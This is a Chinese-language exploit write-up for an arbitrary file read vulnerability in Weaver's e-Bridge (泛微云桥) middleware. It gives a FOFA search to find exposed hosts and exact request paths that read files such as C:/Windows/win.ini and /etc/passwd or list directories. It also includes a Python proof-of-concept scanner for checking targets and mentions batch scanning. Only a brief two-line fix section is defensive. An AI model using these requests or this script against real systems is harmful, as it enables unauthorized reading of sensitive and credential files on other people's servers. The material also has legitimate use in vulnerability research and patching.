# 泛微云桥 - 任意文件读取

# 漏洞简介

泛微云桥(e-Bridge)是上海泛微公司在” 互联网 +” 的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。

# 影响版本

2018-2019 多个版本

# 资产查找

FOFA:

1
"泛微云桥"

# 漏洞复现

windows 为例

例如想读取 C:/Windows/win.ini 文件

访问 /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/Windows/win.ini&fileExt=txt

获取文件 id

image-20210328172146687

读取文件 /file/fileNoLogin/上面获取到的id

image-20210328172229517

当然可以进行目录读取,我们只需将 downloadUrl 参数更换为绝对路径目录即可

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt

image-20210328173847259

目录读取: /file/fileNoLogin/cb25f92f19954e99903c610d96c6b7fa

image-20210328173959288

自写垃圾检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()

def run(url):
w_poc1 = '/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/Windows/win.ini&fileExt=txt'
try:
r = requests.get(url+w_poc1,verify=False,timeout=5)
except Exception as e:
print (url,' 无法连接')
return 0
if 'msg' in r.text:
r = requests.get(url+w_poc1,verify=False,timeout=5).json()["msg"]
if r == '无法验证您的身份!':
print (url,' 安全')
elif '语法不正确' in r:
l_poc1 = '/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt'
r = requests.get(url+l_poc1,verify=False,timeout=6).json()["id"]
if r != '':
print (url,' 系统为linux 存在漏洞!!!!!')
elif 'id' in r.text:
print (url,' 系统为windows 存在漏洞!!!!!')
else:
print (url,' 未知错误')

# ip后面的斜杠不要,正确ip:http://127.0.0.1
url = input('Url >>> ')
run(url)

批量检测,不知道是没有找到原因,还是我脚本写的不对的原因,没有找到 linux 系统的

image-20210328184517375

# 修复建议

0x01 关闭程序路由 /file/fileNoLogin

0x02 升级版本